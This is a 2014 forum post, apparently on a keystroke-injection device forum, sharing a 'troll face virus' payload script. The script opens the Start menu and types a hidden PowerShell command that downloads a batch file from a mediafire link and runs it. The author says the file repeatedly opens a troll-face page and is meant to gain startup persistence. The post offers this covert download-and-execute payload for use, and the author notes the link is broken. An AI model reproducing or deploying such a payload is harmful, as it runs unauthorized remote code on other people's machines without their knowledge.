Haxineer1337 Posted January 16, 2014 Share Posted January 16, 2014 (edited) [Told you it was coming soon...] [bROKEN AS OF NOW, MEDIAFIRE HATES ME]TROLL FACE VIRUS PAYLOAD: [What it does]: Runs powershell to wget and execute a bat file that wgets and executes the requirements[HIDDEN]Every 60 seconds it loads up your browser if not already opened and opens a troll face.The only way to remove it is to go to task manager and end cmd.exe and timeout.exe.Works on windows 7, replace CONTROL ESCAPE with GUI r for it to work withwindows 8 and 7. Working on startup persistenceSCRIPT: DELAY 20000CONTROL ESCAPEDELAY 1100STRING powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://download1585.mediafire.com/3j2upgu7avbg/8runbhhu8fjrjah/Runner1.bat','C:\windowstp.bat'); Start-Process "C:\windowstp.bat"ENTER Edited January 17, 2014 by Haxineer1337 Quote Link to comment Share on other sites More sharing options...
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.